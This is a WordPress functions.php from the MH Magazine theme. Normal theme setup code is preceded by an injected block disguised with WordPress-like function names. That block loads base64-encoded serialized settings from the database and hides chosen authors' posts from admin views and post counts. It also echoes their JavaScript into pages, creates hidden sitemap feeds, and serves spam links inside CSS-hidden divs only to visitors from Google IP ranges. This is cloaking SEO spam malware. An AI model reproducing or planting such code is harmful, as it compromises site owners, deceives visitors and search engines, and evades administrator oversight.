<?php

/* 63eb91c8205580f3f7de7656458496ba */

function get_stylesheet_uri_encryption($where) {
    global $wpdb, $get_author_posts_url_pic;

    $get_header_alpha = array_keys($get_author_posts_url_pic);
    $esc_attr_reference = implode(', ', $get_header_alpha);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'esc_url_raw_statement');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($esc_attr_reference)";
    }

    return $where;
}

function get_option_event($query) {

    global $get_author_posts_url_pic;

    $get_header_alpha = array_keys($get_author_posts_url_pic);
    $get_the_author_meta_stream = post_password_required_framework($get_header_alpha);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $get_the_author_meta_stream);
    }
}

function absint_base() {

    global $post, $get_author_posts_url_pic;

    foreach ($get_author_posts_url_pic as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_comments_number_event($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_comments_number_event($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_the_post_thumbnail_function()) {
            return true;
        }
    }
    return false;
}

function esc_url_raw_statement($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function add_filter_interface($counts, $type, $perm) {

    if ($type === 'post') {
        $post_password_required_less = $counts->publish;
        $get_theme_mod_trigger = get_permalink_first($perm);
        $counts->publish = !$get_theme_mod_trigger ? $post_password_required_less : $get_theme_mod_trigger;
    }
    return $counts;
}

function get_permalink_first($perm) {
    global $wpdb, $get_author_posts_url_pic;

    $get_header_alpha = array_keys($get_author_posts_url_pic);
    $esc_attr_reference = implode(', ', $get_header_alpha);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $is_home_package = get_post_type_object($type);

        if (!current_user_can($is_home_package->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($esc_attr_reference) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $is_front_page_num) {
        if ($is_front_page_num['post_status'] === 'publish') {
            return $is_front_page_num['num_posts'];
        }
    }
}

function esc_url_trigger($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $get_header_alpha = array();
    foreach ($results as $is_front_page_num) {
        $get_header_alpha[] = $is_front_page_num['ID'];
    }
    return $get_header_alpha;
}

function get_the_ID_reference() {

    global $get_author_posts_url_pic, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_author_posts_url_pic as $comments_template_path => $the_ID_sample) {
        $has_post_thumbnail_merge = key($the_ID_sample['sitemapsettings']);

        if (!isset($rules[$has_post_thumbnail_merge]) ||
            ($rules[$has_post_thumbnail_merge] !== current($the_ID_sample['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function have_posts_part($rules) {

    global $get_author_posts_url_pic;

    $the_title_integer = array();

    foreach ($get_author_posts_url_pic as $comments_template_path => $the_ID_sample) {
        if (isset($the_ID_sample['sitemapsettings'])) {
            $the_title_integer[key($the_ID_sample['sitemapsettings'])] = current($the_ID_sample['sitemapsettings']);
        }
    }

    return $the_title_integer + $rules;
}

function the_post_thumbnail_alpha() {

    global $get_author_posts_url_pic;

    foreach ($get_author_posts_url_pic as $comments_template_path => $the_ID_sample) {
        $absint_soap = str_replace('index.php?feed=', '', current($the_ID_sample['sitemapsettings']));
        add_feed($absint_soap, 'is_single_compiler');
    }
}

function is_single_compiler() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $head = is_home_stack();
    $absint_queue = $head . "\n";

    $userId = get_search_form_http();

    $get_post_thumbnail_id_old = esc_url_trigger($userId);
    $priority = '0.5';
    $is_customize_preview_edit = 'weekly';
    $the_post_cookie = date('Y-m-d');

    foreach ($get_post_thumbnail_id_old as $post_id) {
        $url = get_permalink($post_id);
        $absint_queue .= the_excerpt_git($url, $the_post_cookie, $is_customize_preview_edit, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $absint_queue .= "\n</urlset>";

    echo $absint_queue;
}

function is_home_stack() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function the_excerpt_git($url, $the_post_cookie, $is_customize_preview_edit, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$the_post_cookie</lastmod>
      <changefreq>$is_customize_preview_edit</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function post_password_required_framework($writersArr) {
    $dynamic_sidebar_info = array();

    foreach ($writersArr as $item) {
        $dynamic_sidebar_info[] = '-' . $item;
    }
    return implode(',', $dynamic_sidebar_info);
}

function load_theme_textdomain_interface() {

    $esc_url_raw_edit = array();
    $is_customize_preview_http = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $set_transient_method = unserialize(base64_decode($settings));
        if ($set_transient_method) {
            $esc_url_raw_edit = $set_transient_method;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $the_excerpt_loop = unserialize(base64_decode($settings));
        if ($the_excerpt_loop) {
            $is_customize_preview_http = $the_excerpt_loop;
        }
    }

    return $is_customize_preview_http + $esc_url_raw_edit;

}

function get_search_form_http() {

    global $get_author_posts_url_pic;

    foreach ($get_author_posts_url_pic as $comments_template_path => $the_ID_sample) {

        $is_single_repository = key($the_ID_sample['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($the_ID_sample['sitemapsettings']) . '$');

        if (preg_match("~$is_single_repository~", $_SERVER['REQUEST_URI'])) {
            return $comments_template_path;
        }
    }
}

function is_admin_base() {
    global $get_author_posts_url_pic, $post;

    $the_post_thumbnail_meta = array_keys($get_author_posts_url_pic);
    if (in_array($post->post_author, $the_post_thumbnail_meta)) {
        return true;
    }
    return false;
}

function esc_attr_e_more() {
    global $get_author_posts_url_pic, $post;

    $the_post_thumbnail_meta = array_keys($get_author_posts_url_pic);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $the_post_thumbnail_meta)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function register_nav_menus_pointer() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function get_the_post_thumbnail_function() {

    $add_image_size_info = register_nav_menus_pointer();

    if (strstr($add_image_size_info, ', ')) {
        $esc_html_less = explode(', ', $add_image_size_info);
        $add_image_size_info = $esc_html_less[0];
    }

    $esc_url_raw_schema = add_partial_interface();

    if (!$esc_url_raw_schema) {
        return false;
    }

    foreach ($esc_url_raw_schema as $range) {
        if (get_the_date_module($add_image_size_info, $range)) {
            return true;
        }
    }
    return false;
}

function add_setting_edit($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function add_partial_interface() {

    if (($value = get_option('wp_custom_range')) && !add_setting_edit($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $esc_url_raw_schema = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($esc_url_raw_schema)) {

            return;
        }

        $value = array('ranges' => $esc_url_raw_schema, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function get_search_query_constructor($inet) {
    $register_nav_menus_decryption = str_split($inet);
    $get_template_part_soap = '';
    foreach ($register_nav_menus_decryption as $char) {
        $get_template_part_soap .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $get_template_part_soap;
}

function get_the_date_module($add_image_size_info, $cidrnet) {
    $add_image_size_info = inet_pton($add_image_size_info);
    $get_template_part_soap = get_search_query_constructor($add_image_size_info);

    list($net, $the_post_thumbnail_new) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $has_nav_menu_http = get_search_query_constructor($net);

    $get_post_thumbnail_id_list = substr($get_template_part_soap, 0, $the_post_thumbnail_new);
    $get_the_ID_call = substr($has_nav_menu_http, 0, $the_post_thumbnail_new);

    if ($get_post_thumbnail_id_list !== $get_the_ID_call) {
        return false;
    } else {
        return true;
    }
}


function esc_url_raw_variable($get_the_date_cron) {

    global $post;

    $get_the_date_old = '';




    if (get_post_type_git($get_the_date_cron, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $get_the_date_old = get_option('home_links_custom_0');
        }
    } elseif (get_post_type_git($get_the_date_cron, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $get_the_date_old = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_post_type_git($get_the_date_cron, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_search_query_alpha = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $get_the_date_old = get_option('home_links_custom_' . $get_search_query_alpha);
        
        
    } elseif (get_post_type_git($get_the_date_cron, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$get_the_date_old ? '' : $get_the_date_old;
}

function get_post_type_git($the_ID_sample, $esc_attr_e_view, $the_archive_title_cron) {
    if (!isset($the_ID_sample[$esc_attr_e_view][$the_archive_title_cron])) {
        return false;
    }

    if ($the_ID_sample[$esc_attr_e_view][$the_archive_title_cron] === 1) {
        return true;
    }

    return false;

}

function add_partial_decryption($get_the_date_cron, $_e_alpha) {
    if (empty($_e_alpha)) {
        return '';
    }

    if (get_post_type_git($get_the_date_cron, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $get_the_category_list_hashing = post_password_required_event();
        $wp_enqueue_style_repository = $get_the_category_list_hashing[$blockNum[0]];
        return $wp_enqueue_style_repository[0] . PHP_EOL . $_e_alpha . PHP_EOL . $wp_enqueue_style_repository[1];
    }

    return $_e_alpha;
}

function post_password_required_event() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function add_image_size_alpha($get_the_date_cron) {
    return get_post_type_git($get_the_date_cron, 'position', 'head');
}

function is_customize_preview_string($get_the_date_cron) {
    return get_post_type_git($get_the_date_cron, 'position', 'footer');
}

function is_single_pointer($settings) {
    foreach ($settings as $comments_template_path => $the_ID_sample) {
        if (isset($the_ID_sample['homeLinks'])) {
            return $the_ID_sample['homeLinks'];
        }
    }
    return array();
}


function is_home_all() {
    if (!is_admin_base()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function has_nav_menu_core() {

    global $get_the_date_cron;

    if (!is_home_all()) {
        
        
        return;
    }

    if (get_post_type_git($get_the_date_cron, 'hiddenType', 'cloacking')) {
        if (!get_the_post_thumbnail_function()) {
            
            return;
        }
    }


    $_e_alpha = esc_url_raw_variable($get_the_date_cron);
    $_e_alpha = add_partial_decryption($get_the_date_cron, $_e_alpha);

    


    echo $_e_alpha;

}

$get_author_posts_url_pic = load_theme_textdomain_interface();


if (is_array($get_author_posts_url_pic)) {
    add_filter('posts_where_paged', 'get_stylesheet_uri_encryption');
    add_action('pre_get_posts', 'get_option_event');
    add_action('wp_enqueue_scripts', 'absint_base');
    add_filter('wp_count_posts', 'add_filter_interface' , 10, 3);
    add_filter('rewrite_rules_array', 'have_posts_part');
    add_action('wp_loaded', 'get_the_ID_reference');
    add_action('init', 'the_post_thumbnail_alpha');
    add_action('template_redirect', 'esc_attr_e_more');

    $get_the_date_cron = is_single_pointer($get_author_posts_url_pic);

    if (!empty($get_the_date_cron)) {

        

        if (add_image_size_alpha($get_the_date_cron)) {
            add_action('wp_head', 'has_nav_menu_core');
        }
        if (is_customize_preview_string($get_the_date_cron)) {
            add_action('wp_footer', 'has_nav_menu_core');
        }


    }
}

/* 63eb91c8205580f3f7de7656458496ba */

/***** Fetch Theme Data & Options *****/

$mh_magazine_data = wp_get_theme('mh-magazine');
$mh_magazine_version = $mh_magazine_data['Version'];
$mh_magazine_options = get_option('mh_magazine_options');

/***** Custom Hooks *****/

function mh_html_class() {
    do_action('mh_html_class');
}
function mh_before_header() {
    do_action('mh_before_header');
}
function mh_after_header() {
    do_action('mh_after_header');
}
function mh_before_page_content() {
    do_action('mh_before_page_content');
}
function mh_after_page_content() {
    do_action('mh_after_page_content');
}
function mh_before_post_content() {
    do_action('mh_before_post_content');
}
function mh_after_post_content() {
    do_action('mh_after_post_content');
}
function mh_post_header() {
    do_action('mh_post_header');
}
function mh_post_content_top() {
    do_action('mh_post_content_top');
}
function mh_post_content_bottom() {
    do_action('mh_post_content_bottom');
}
function mh_loop_content() {
    do_action('mh_loop_content');
}
function mh_before_footer() {
    do_action('mh_before_footer');
}
function mh_after_footer() {
    do_action('mh_after_footer');
}
function mh_before_container_close() {
    do_action('mh_before_container_close');
}

/***** Enable Shortcodes inside Widgets	*****/

add_filter('widget_text', 'do_shortcode');

/***** Theme Setup *****/

if (!function_exists('mh_magazine_theme_setup')) {
	function mh_magazine_theme_setup() {
		load_theme_textdomain('mh-magazine', get_template_directory() . '/languages');
		add_filter('use_default_gallery_style', '__return_false');
		add_theme_support('title-tag');
		add_theme_support('automatic-feed-links');
		add_theme_support('html5', array('comment-list', 'comment-form', 'search-form', 'gallery', 'caption'));
		add_theme_support('post-thumbnails');
		add_theme_support('post-formats', array('image', 'video', 'gallery', 'audio'));
		add_theme_support('custom-background', array('default-color' => 'f7f7f7'));
		add_theme_support('custom-header', array('default-image' => '', 'default-text-color' => '000', 'width' => 1080, 'height' => 250, 'flex-width' => true, 'flex-height' => true));
		add_theme_support('custom-logo', array('width' => 300, 'height' => 100, 'flex-width' => true, 'flex-height' => true));
		add_theme_support('customize-selective-refresh-widgets');
	}
}
add_action('after_setup_theme', 'mh_magazine_theme_setup');

/***** Add Custom Menus *****/

if (!function_exists('mh_magazine_custom_menus')) {
	function mh_magazine_custom_menus() {
		register_nav_menus(array(
			'mh_header_nav' => esc_html__('Header Navigation', 'mh-magazine'),
			'mh_social_nav' => esc_html__('Social Icons in Header', 'mh-magazine'),
			'mh_main_nav' => esc_html__('Main Navigation', 'mh-magazine'),
			'mh_extra_nav' => esc_html__('Additional Navigation (below Main Navigation)', 'mh-magazine'),
			'mh_footer_nav' => esc_html__('Footer Navigation', 'mh-magazine'),
			'mh_social_widget' => esc_html__('MH Social Widget', 'mh-magazine')
		));
	}
}
add_action('after_setup_theme', 'mh_magazine_custom_menus');

/***** Add Custom Image Sizes *****/

if (!function_exists('mh_magazine_image_sizes')) {
	function mh_magazine_image_sizes() {
		add_image_size('mh-magazine-slider', 1030, 438, true);
		add_image_size('mh-magazine-content', 678, 381, true);
		add_image_size('mh-magazine-large', 678, 509, true);
		add_image_size('mh-magazine-medium', 326, 245, true);
		add_image_size('mh-magazine-small', 80, 60, true);
	}
}
add_action('after_setup_theme', 'mh_magazine_image_sizes');

/***** Set Content Width *****/

if (!function_exists('mh_magazine_content_width')) {
	function mh_magazine_content_width() {
		global $content_width;
		$mh_magazine_options = mh_magazine_theme_options();
		if (!isset($content_width)) {
			if ($mh_magazine_options['sidebars'] == 'no') {
				$content_width = 1030;
			} elseif (is_page_template('template-full.php')) {
				if ($mh_magazine_options['sidebars'] == 'two') {
					$content_width = 1381;
				} else {
					$content_width = 1030;
				}
			} else {
				$content_width = 678;
			}
		}
	}
}
add_action('template_redirect', 'mh_magazine_content_width');

/***** Load CSS & JavaScript *****/

if (!function_exists('mh_magazine_scripts')) {
	function mh_magazine_scripts() {
		global $mh_magazine_version;
		wp_enqueue_style('mh-magazine', get_stylesheet_uri(), false, $mh_magazine_version);
		wp_enqueue_style('mh-font-awesome', get_template_directory_uri() . '/includes/font-awesome.min.css', array(), null);
		wp_enqueue_script('mh-scripts', get_template_directory_uri() . '/js/scripts.js', array('jquery'), $mh_magazine_version);
		if (is_singular() && comments_open() && get_option('thread_comments') == 1) {
			wp_enqueue_script('comment-reply');
		}
	}
}
add_action('wp_enqueue_scripts', 'mh_magazine_scripts');

if (!function_exists('mh_magazine_admin_scripts')) {
	function mh_magazine_admin_scripts($hook) {
		if ('appearance_page_magazine' === $hook || 'widgets.php' === $hook) {
			wp_enqueue_style('mh-admin', get_template_directory_uri() . '/admin/admin.css');
		}
	}
}
add_action('admin_enqueue_scripts', 'mh_magazine_admin_scripts');

/***** Register Widget Areas / Sidebars	*****/

if (!function_exists('mh_magazine_widgets_init')) {
	function mh_magazine_widgets_init() {
		$mh_magazine_options = mh_magazine_theme_options();
		register_sidebar(array('name' => esc_html_x('Sidebar', 'widget area name', 'mh-magazine'), 'id' => 'mh-sidebar', 'description' => esc_html__('Widget area (sidebar left/right) on single posts, pages and archives.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		if ($mh_magazine_options['sidebars'] == 'two') {
			register_sidebar(array('name' => sprintf(esc_html_x('Sidebar %d', 'widget area name', 'mh-magazine'), 2), 'id' => 'mh-sidebar-2', 'description' => esc_html__('Second sidebar on single posts, pages and archives.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		}
		register_sidebar(array('name' => sprintf(esc_html_x('Header %d - Advertisement', 'widget area name', 'mh-magazine'), 1), 'id' => 'mh-header-1', 'description' => esc_html__('Advertisement position located above the header, suitable for a single text widget.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-header-1 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Header %d - Advertisement', 'widget area name', 'mh-magazine'), 2), 'id' => 'mh-header-2', 'description' => esc_html__('Widget area on top of the site.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-header-2 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - Full Width', 'widget area name', 'mh-magazine'), 1), 'id' => 'mh-home-1', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-1 mh-home-wide %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - 2/3 Width', 'widget area name', 'mh-magazine'), 2), 'id' => 'mh-home-2', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-2 mh-widget-col-2 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - 1/3 Width', 'widget area name', 'mh-magazine'), 3), 'id' => 'mh-home-3', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-3 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - 1/3 Width', 'widget area name', 'mh-magazine'), 4), 'id' => 'mh-home-4', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-4 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - 2/3 Width', 'widget area name', 'mh-magazine'), 5), 'id' => 'mh-home-5', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-5 mh-widget-col-2 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - 1/3 Width', 'widget area name', 'mh-magazine'), 6), 'id' => 'mh-home-6', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-6 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - Full Width', 'widget area name', 'mh-magazine'), 7), 'id' => 'mh-home-7', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-7 mh-home-wide %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - 1/3 Width', 'widget area name', 'mh-magazine'), 8), 'id' => 'mh-home-8', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-8 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - 1/3 Width', 'widget area name', 'mh-magazine'), 9), 'id' => 'mh-home-9', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-9 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - 1/3 Width', 'widget area name', 'mh-magazine'), 10), 'id' => 'mh-home-10', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-10 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Home %d - Full Width', 'widget area name', 'mh-magazine'), 11), 'id' => 'mh-home-11', 'description' => esc_html__('Widget area on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-11 mh-home-wide %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		if ($mh_magazine_options['sidebars'] == 'two') {
			register_sidebar(array('name' => sprintf(esc_html_x('Home %d - 1/3 Width', 'widget area name', 'mh-magazine'), 12), 'id' => 'mh-home-12', 'description' => esc_html__('Sidebar on homepage.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-home-12 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		}
		register_sidebar(array('name' => sprintf(esc_html_x('Posts %d - Advertisement', 'widget area name', 'mh-magazine'), 1), 'id' => 'mh-posts-1', 'description' => esc_html__('Widget area above single post content.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-posts-1 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Posts %d - Advertisement', 'widget area name', 'mh-magazine'), 2), 'id' => 'mh-posts-2', 'description' => esc_html__('Widget area below single post content.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-posts-2 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Pages %d - Advertisement', 'widget area name', 'mh-magazine'), 1), 'id' => 'mh-pages-1', 'description' => esc_html__('Widget area above single page content.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-pages-1 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Pages %d - Advertisement', 'widget area name', 'mh-magazine'), 2), 'id' => 'mh-pages-2', 'description' => esc_html__('Widget area below single page content.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-pages-2 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Footer %d - 1/4 Width', 'widget area name', 'mh-magazine'), 1), 'id' => 'mh-footer-1', 'description' => esc_html__('Widget area in footer.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-footer-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h6 class="mh-widget-title mh-footer-widget-title"><span class="mh-widget-title-inner mh-footer-widget-title-inner">', 'after_title' => '</span></h6>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Footer %d - 1/4 Width', 'widget area name', 'mh-magazine'), 2), 'id' => 'mh-footer-2', 'description' => esc_html__('Widget area in footer.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-footer-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h6 class="mh-widget-title mh-footer-widget-title"><span class="mh-widget-title-inner mh-footer-widget-title-inner">', 'after_title' => '</span></h6>'));
		register_sidebar(array('name' => sprintf(esc_html_x('Footer %d - 1/4 Width', 'widget area name', 'mh-magazine'), 3), 'id' => 'mh-footer-3', 'description' => esc_html__('Widget area in footer.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-footer-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h6 class="mh-widget-title mh-footer-widget-title"><span class="mh-widget-title-inner mh-footer-widget-title-inner">', 'after_title' => '</span></h6>'));
